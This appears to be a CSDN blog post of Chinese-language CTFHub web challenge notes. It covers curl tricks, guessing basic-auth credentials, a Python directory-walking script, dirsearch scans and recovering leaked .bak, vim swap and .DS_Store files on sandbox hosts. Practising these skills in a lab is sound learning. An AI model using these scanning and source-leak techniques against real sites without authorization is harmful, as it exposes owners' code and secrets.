CTFHUB-WEB

WEB前置技能

HTTP协议

 请求方式

curl -i -X CTFHUB

302跳转

curl -i xxx.php
curl --cookie "admin=1"

基础认证

BurpSuite笔记_YT?M的博客-CSDN博客

BurpSuite

随便输
REQUEST
Authorization: Basic YWRtaW46YQ==
RESPONSE
WWW-Authenticate: Basic realm="Do u know admin ?"

猜测
账号admin
格式admin:password
Base64

响应包源代码

浏览器inspect调式看源码

信息泄露

目录遍历

python requests模块

Requests: HTTP for Humans™ — Requests 2.27.1 documentation

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests

url_prefix = "http://challenge-8ad2bdcbce525676.sandbox.ctfhub.com:10800/flag_in_here"

for i in range(5):
    for j in range(5):
        url =url_prefix+"/"+str(i)+"/"+str(j)
        r = requests.get(url)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print(url)
            url_final=url+"/flag.txt"
            r=requests.get(url_final)
            print(r.text)

PHPINFO

页面搜索?不太明白这道题的考点

备份文件下载

网站源码

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

python dirsearch

官方网站: https://github.com/maurosoria/dirsearch

报错

>python dirsearch.py -u http://challenge-aee21970e2e10e44.sandbox.ctfhub.com:10800/www.zip -e tar,tar.gz,zip,rar
NotADirectoryError: [WinError 267] 目录名称无效。: 'D:\\Software\\Python\\Lib\\site-packages\\dirsearch\\reports\\challenge-aee21970e2e10e44.sandbox.ctfhub.com:10800'

 解决(Windows文件名不允许“:”)

>python dirsearch.py -u http://challenge-aee21970e2e10e44.sandbox.ctfhub.com:10800/www.zip -e tar,tar.gz,zip,rar -o reports/1.txt

疑问1:指定-x 503之后就没有结果了

d:\Software\Python\Lib\site-packages\dirsearch>python dirsearch.py -u http://challenge-356877c01dee5b8d.sandbox.ctfhub.com:10800/ -e * -o reports/1.txt -x 503

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, jsf, asp, aspx, do, action, cgi, pl, html, htm, js, json, json, tar.gz, tgz | HTTP method: GET | Threads: 30 | Wordlist size: 15971

Output File: d:\Software\Python\Lib\site-packages\dirsearch\reports\1.txt

Error Log: D:\Software\Python\Lib\site-packages\dirsearch\logs\errors-22-03-08_11-13-21.log

Target: http://challenge-356877c01dee5b8d.sandbox.ctfhub.com:10800/

[11:13:21] Starting:

Task Completed

疑问2:指定-e zip还是会有其他后缀的结果

d:\Software\Python\Lib\site-packages\dirsearch>python dirsearch.py -u http://challenge-356877c01dee5b8d.sandbox.ctfhub.com:10800/ -e zip -o reports/1.txt

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: zip | HTTP method: GET | Threads: 30 | Wordlist size: 8976

Output File: d:\Software\Python\Lib\site-packages\dirsearch\reports\1.txt

Error Log: D:\Software\Python\Lib\site-packages\dirsearch\logs\errors-22-03-08_11-08-35.log

Target: http://challenge-356877c01dee5b8d.sandbox.ctfhub.com:10800/

[11:08:35] Starting:
[11:08:35] 503 -  605B  - /%C0%AE%C0%AE%C0%AF
[11:08:35] 503 -  605B  - /zip.txt
[11:08:35] 503 -  605B  - /.actionScriptProperties
[11:08:35] 503 -  605B  - /.admin/
[11:08:35] 503 -  605B  - /zip
[11:08:35] 503 -  605B  - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[11:08:35] 503 -  605B  - /.accdb
[11:08:35] 503 -  605B  - /.agilekeychain
[11:08:35] 503 -  605B  - /.analysis_options
[11:08:35] 503 -  605B  - /.all-contributorsrc
[11:08:35] 503 -  605B  - /.apdisk

bak文件

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

http://challenge-82943db5c5e042de.sandbox.ctfhub.com:10800/index.php.bak

 vim缓存

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

缓存文件名第一次:.index.php.swp

缓存文件名第二次:.index.php.swo

缓存文件名第三次:.index.php.swn

踩坑:Windows查看不了

>curl http://challenge-0a05b097ccaf8558.sandbox.ctfhub.com:10800/.index.php.swp
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

从网页下载index.php.swp后改名为.index.php.swp,用bash操作

https://blog.csdn.net/weixin_46402806/article/details/123371825

$ mv index.php.swp .index.php.swp
$ vim index.php
E325: 注意
发现交换文件 ".index.php.swp"
            所有者: THTF    日期: 周三 3月 09 09:08:38 2022
            文件名: /var/www/html/index.php
            修改过: 否
            用户名: root      主机名: challenge-0a05b097ccaf8558-859bc44698-d
           进程 ID: 40
正在打开文件 "index.php"
      CANNOT BE FOUND
(1) Another program may be editing the same file.  If this is the case,
    be careful not to end up with two different instances of the same
    file when making changes.  Quit, or continue with caution.
(2) An edit session for this file crashed.
    如果是这样,请用 ":recover" 或 "vim -r index.php"
    恢复修改的内容 (请见 ":help recovery")。
    如果你已经进行了恢复,请删除交换文件 ".index.php.swp"
    以避免再看到此消息。

交换文件 ".index.php.swp" 已存在!
以只读方式打开([O]), 直接编辑((E)), 恢复((R)), 删除交换文件((D)), 退出((Q)), 中止((A)):
E325: 注意
发现交换文件 ".index.php.swp"
            所有者: THTF    日期: 周三 3月 09 09:08:38 2022
            文件名: /var/www/html/index.php
            修改过: 否
            用户名: root      主机名: challenge-0a05b097ccaf8558-859bc44698-d
           进程 ID: 40
正在打开文件 "index.php"
      CANNOT BE FOUND
(1) Another program may be editing the same file.  If this is the case,
    be careful not to end up with two different instances of the same
    file when making changes.  Quit, or continue with caution.
(2) An edit session for this file crashed.
    如果是这样,请用 ":recover" 或 "vim -r index.php"
    恢复修改的内容 (请见 ":help recovery")。
    如果你已经进行了恢复,请删除交换文件 ".index.php.swp"
    以避免再看到此消息。

交换文件 ".index.php.swp" 已存在!
"index.php" [新文件]
使用交换文件 ".index.php.swp"
"/d/Doc/GoogleChrome/index.php" [新文件]
恢复完毕。请确定一切正常。
(你可能想要将这个文件另存为别的文件名
and run diff with the original file to check for changes)
You may want to delete the .swp file now.


请按 ENTER 或其它命令继续
<?php
// ctfhub{0d02ab1bd57b2da981fba424}
?>
<html>

<head>
    <meta charset="UTF-8" />
    <title>CTFHub BackUp Vim</title>
</head>

<body>
    <h1>备份文件下载 - vim</h1>
    <br/>
    <p>flag 在 index.php 源码中</p>
</body>

</html>

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

http://challenge-4367e6ec23442368.sandbox.ctfhub.com:10800/.DS_Store
$ cat DS_Store
Bud1
 ▒

DSDB@▒@ @ @$fd6d8b57204f73be676751e0021fde47.txtnoteustr
flag here!
http://challenge-4367e6ec23442368.sandbox.ctfhub.com:10800/fd6d8b57204f73be676751e0021fde47.txt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值